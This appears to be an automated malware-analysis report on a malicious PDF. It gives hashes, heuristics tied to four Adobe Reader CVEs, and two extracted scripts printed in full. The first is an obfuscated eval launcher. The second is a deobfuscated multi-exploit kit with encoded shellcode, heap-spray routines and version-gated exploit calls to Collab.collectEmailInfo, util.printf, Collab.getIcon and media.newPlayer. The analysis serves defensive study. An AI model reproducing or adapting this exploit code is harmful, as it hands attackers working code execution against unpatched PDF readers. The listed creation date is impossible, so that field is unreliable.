Malicious PDF — malware analysis report

Static analysis result for SHA-256 ba878a77bf64af6d…

MALICIOUS

PDF

26.1 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 3f58d95ff2fcb7874a995c3b8d747716 SHA-1: 2ba7ff4a6ff8319082994068ed3acbda05193ba2 SHA-256: ba878a77bf64af6d11f446f2681362d68ceab3cf2c97b23b56cca97e8cec14f2
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Scripting: JavaScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of a PDF_EVAL heuristic firing suggests that the JavaScript code is obfuscated and likely uses eval() to execute arbitrary code. The extracted artifact 'javascript_obj0001_000.js' further supports the presence of malicious JavaScript. The primary intent appears to be the execution of obfuscated JavaScript, potentially leading to the download and execution of a second-stage payload or exploitation of a PDF reader vulnerability.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      iwubOw=eval(DugeigasfIlam.replace('RozevUpeburygkeri','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x63FF 897 bytes
SHA-256: b15a6b0b4a3bbb46b5ec7b0f94297ac455e63e126575729f2b8aaf90f7ea9fcb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Cidbi='';
var RozevUpeburygkerie=this.producer.substr(0,4);
for(var DugeigasfIlam in this) {
	if (DugeigasfIlam=='RozevUpeburygkerie')
		iwubOw=eval(DugeigasfIlam.replace('RozevUpeburygkeri','')+'val');
}
QepokesohatesuladOmi = iwubOw('new Date(2007,2,51,2,12,5)');
Sacurrowe = 'thi'+QepokesohatesuladOmi.getHours()+'ducer';
SarirlIfacudecup=iwubOw(Sacurrowe.replace(2,'s.pro'));
SarirlIfacudecup = SarirlIfacudecup.replace(/t/g,'2');
Godfpuwym = SarirlIfacudecup.substr(4).split('s');
var PweVep = '';
g = QepokesohatesuladOmi.getHours()*2;
var PowuciBaqoh = 'fro'+QepokesohatesuladOmi.getHours()+'arCode';
PowuciBaqoh=PowuciBaqoh.replace(2,'mCh');
GakaxyhiKefoz=String[PowuciBaqoh];
for (DugeigasfIlam = 0; DugeigasfIlam < Godfpuwym.length; DugeigasfIlam++) {
	ZysOhocixano = iwubOw(Godfpuwym[DugeigasfIlam]);
	PweVep += GakaxyhiKefoz(ZysOhocixano);
}
iwubOw(PweVep);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3722 bytes
SHA-256: fd621a4174bb0b9f196817542aa087826585172c168adc758c677cf9b87a492b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u52B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%uA834%uE2AA%uC3FA%uE5E8%uFFFF%u41FF%uA9A4%uA8A8%u29F6%uF444%uA8A9%u21A8%u254F%uB8E7%uC725%u99FC%uFF73%uFBF9%uFBFB%uFBFB%uFBFB%uFBFD%uC0FB%uA9AC%uA8A8%uFEFD%uC0FB%uC6C7%uA8A8%uDDC0%uC4DA%uFCC5%u26C0%uA6E6%u4044%uA8E0%uA8A8%u40F8%uA8D4%uA8A8%u7857%u6C2B%uC0A0%u47E7%uADE7%u40F8%uA8C4%uA8A8%u7857%u682D%uBFDD%uFCC2%u5BF1%uC002%u56DA%uBE1B%uB540%uA8A8%uF8A8%uF940%uA8A8%u57A8%uFB78%u56C2%u21C0%uA9C7%u4015%uA8A0%uA8A8%u40F8%uA894%uA8A8%u7857%u99C8%uCC68%uF823%u2398%uA4FA%uFA23%u23BC%u80DA%uB011%uA8A8%u99A8%u9957%u0468%uC994%uAAD4%u8884%u6769%uA9A5%u4A6F%u2958%uF357%uE214%u23C2%uB8EA%uBA23%u71DD%uEC21%uB48C%u6BC9%u23C8%u8CC4%u238C%u94ED%uFC23%uD0AD%u42A9%uE223%u23B0%u88F2%u43A9%u9C4B%u23E1%u239C%u46A9%u5799%u6899%u0454%u682C%uAFDC%u6769%uA9A5%u436F%u935C%u8CD4%uDD80%u2349%u8CF2%u43A9%u23CE%uE3A4%uF223%uA9B4%u2343%u23AC%u40A9%uEC21%uB48C%u6AC9%uA8A0%u4740%u5756%uC057%uDCDC%u92D8%u8787%uDBCA%uDCCC%uC9C9%u86C9%uD2CB%uCB86%u87CB%uDDC7%u86DC%uC0D8%u97D8%u95C9%uF9F9%uEEC3%uCFEA%uEA98%uDFE9%uEDFD%uE9EC%uE0ED%uC3ED%uE2CB%uE9EA%u9595%uD88E%u9F95%u00A8';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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